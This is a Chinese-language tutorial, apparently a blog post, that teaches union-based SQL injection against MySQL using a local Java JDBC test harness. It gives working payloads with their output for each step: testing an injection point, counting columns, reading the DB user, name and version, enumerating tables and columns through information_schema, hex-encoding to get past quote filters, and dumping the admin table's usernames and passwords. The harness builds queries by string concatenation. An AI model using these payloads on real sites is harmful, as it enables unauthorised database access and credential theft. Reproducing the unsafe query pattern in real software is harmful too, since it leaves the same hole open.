以下是mynona本人原创的，奉献给大家，不要小看数据库注入
参考：
http://www.daydaydata.com/help/sql/advance/limit.html
http://www.f4ck.org/article-1579-1.html
必备知识：
- mysql的sql注释符号：#
- 无论mysql还是sqlServer数据库，里面都有information_schema这个数据库，这个数据库里面TABLES表保存了数据库所有表名，COLUMNS表保存了表 的所有字段名，我们暴库就是针对这两个表。
- SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意，UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。
- LIMIT子句
LIMIT 子句用于规定要返回的记录的数目。
对于拥有成千上万条记录的大型表来说，LIMIT 子句是非常有用的。
语法：SELECT 列名称 FROM 表名称 LIMIT 开始位置, 行数
注意：开始位置可以省略，默认是0位置
测试代码：
数据库连接类
（适合mysql和MSSQL２００８）
import java.sql.Connection;
public class DateExecute {
private String user;
private String password;
private String type;
private String databaseName;
public DateExecute(String type, String user, String password, String databaseName){
this.type = type;
this.user = user;
this.password = password;
this.databaseName = databaseName;
}
public Connection getConnection()
throws InstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException {
Connection con = null;
if(type.equals("mysql")){
String driverName = "com.mysql.jdbc.Driver";
Driver d = (Driver) Class.forName(driverName).newInstance();
con = DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,
user, password);
}
else{
String driverName = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
Driver d = (Driver) Class.forName(driverName).newInstance();
con = DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,
user, password);
}
return con;
}
public List<Map<String, Object>> getDateList(String sql)
throws InstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException {
Connection conn = getConnection();
List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
try {
//stmt = conn.prepareStatement(sql);
//ResultSet rs = stmt.executeQuery(sql);
Statement state = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet rs=state.executeQuery(sql);
list = convertList(rs);
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
return list;
}
private List convertList(ResultSet rs) throws SQLException {
List list = new ArrayList();
ResultSetMetaData md = rs.getMetaData();
int columnCount = md.getColumnCount(); // Map rowData;
while (rs.next()) { // rowData = new HashMap(columnCount);
Map<String, Object> rowData = new HashMap<String, Object>();
for (int i = 1; i <= columnCount; i++) {
rowData.put(md.getColumnName(i), rs.getObject(i));
}
list.add(rowData);
}
return list;
}
public int executeUpdate(String sql) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
Connection conn = getConnection();
Statement stmt;
int success = 0;
try {
stmt = conn.createStatement();
success = stmt.executeUpdate(sql);
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
return success;
}
}
测试类：
（我们就是在这个类里面构造注入的sql语句）
import java.sql.SQLException;
public class TestSql {
public static void main(String[] args) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
//”root”为你mysql用户名，“xxxxx”为密码，“school”为数据库名
DateExecute de = new DateExecute("mysql", "root", "XXXXX","school");
//DateExecute de = new DateExecute("mssql", "sa", "abca157992.","school");
//MYSQL
String sqlM = "select * from user;";
String sqlInsertM = "insert into user value(24,'mynona','122334')";
String sqlDeleteM = "delete from user where name = 'mynona'";
System.out.println(de.getDateList(sqlbefore+sql));
//MSSQL
/* String sqlbefore = "select * from student where id = 1 ";
String sql = " and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='student'";
String sqlInsert = "insert into student values(6, 222, 111)";
String sqlDelete = "delete from student where id = 4";*/
//de.executeUpdate(sqlInsert);
}
}
测试数据库：
测试数据：
假设我们的目标是admin这个表，对于user这个表有个注入点:
Select * from user where name = ‘’;
具体如下：
public class TestSql {
public static void main(String[] args) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
DateExecute de = new DateExecute("mysql", "root", "157992","school");
String name = "admin";
String password="mynona";
String sql = "select * from user where name = '" + name +"' and password = '" + password + "'";
System.out.println("执行的sql语句:\n" + sql);
System.out.println(de.getDateList(sql));
}
}
上面那条sql语句明显两个sql注入点，分别是name和password
运行上面的程序，可以正常输出：
[{id=1, name=admin, password=mynona}]
现在我们要针对name这个注入点构造注入的sql语句。
判断注入点：
目标：看看是否有注入
我们令
name ="mynona and 1=1 #";
然后指向上面的测试代码：
执行的sql语句:
select * from user where name = 'mynona' and 1=1 #' and password = 'mynona'
输出结果：
[{id=2, name=mynona, password=122334}]
还是之前的数据，没变化
再令：
name ="mynona and 1=2 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 #' and password = 'mynona'
输出结果：
[]
没有数据了，说明有注入
（tip:sql语句中“#”后面的内容会被忽略）
判断字段数（重要）：
目标：看看当前注入点select了几个字段
（知道这些字段数后以后我们做union语句时就等与这相等）
分别构造：
name ="mynona' order by 1 #"; 输出正常
name ="mynona' order by 2 #";输出正常
name ="mynona' order by 3 #";输出正常
name ="mynona' order by 4 #";错误输出
由此可以知道当前的表有3个字段
然后我们联合查询：
name ="mynona' and 1=2 union select 1,2,3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,2,3 #' and password = 'mynona'
输出结果：
[{id=1, name=2, password=3}]
查看用户名：
name ="mynona' and 1=2 union select 1,user(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,user(),3 #' and password = 'mynona'
输出结果：
[{id=1, name=root@localhost, password=3}]
现在用户名出来了，是root
查看数据库：
name ="mynona' and 1=2 union select 1,database(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,database(),3 #' and password = 'mynona'
输出结果：
[{id=1, name=school, password=3}]
当前数据库名也出来了：school
查看数据库版本：
name ="mynona' and 1=2 union select 1,version(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,version(),3 #' and password = 'mynona'
输出结果：
[{id=1, name=5.5.34, password=3}]
可以看到mysql版本是5.5.34
开始爆库：
在mysql里有information_schema这个库，这个库里有tables表，表中有table_schema字段，这个字段储存的时mysql里所有的库名，同时还有table_name这个字段，储存的是MySQL里所有的表名。
遍历数据库school里面的所有表：
其实就是差information_schema数据库里面的TABLES表
name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema='school'# ";
提示：如果对方网站过滤了单引号的话，可以把字符转为16进制：
如school 的十六进制为：0x7363686F6F6C
那么上面那条语句可以变为：
name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ";
执行的sql语句:
select * from user where name = 'mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ' and password = 'mynona'
输出结果：
[{id=2, name=mynona, password=122334}, {id=admin, name=2, password=3}, {id=user, name=2, password=3}]
可以看到school数据库的表为user, admin
看到这里，应该高兴，因为admin说不定就存储这管理员的用户名和密码
下面我们遍历admin表（其实就跟上面遍历user表差不多）
其实就是查询数据库information_schema表里面的COLUMNS表
name ="mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ";
执行的sql语句:
select * from user where name = 'mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ' and password = 'mynona'
输出结果：
[{id=2, name=mynona, password=122334}, {id=1, name=2, password=id}, {id=1, name=2, password=name}, {id=1, name=2, password=phone}, {id=1, name=2, password=sex}, {id=1, name=2, password=tel}, {id=1, name=2, password=password}]
可以看到遍历出了表admin的字段为：id,name,phone,sex,tel,password
遍历name和password字段的数据：
name ="mynona' union select 1,concat(name),concat(password) from admin # ";
执行的sql语句:
select * from user where name = 'mynona' union select 1,concat(name),concat(password) from admin # ' and password = 'mynona'
输出结果：
[{id=2, name=mynona, password=122334}, {id=1, name=admin, password=mynona}]
得出：name=admin,password= mynona
就这样admin表遍历出来了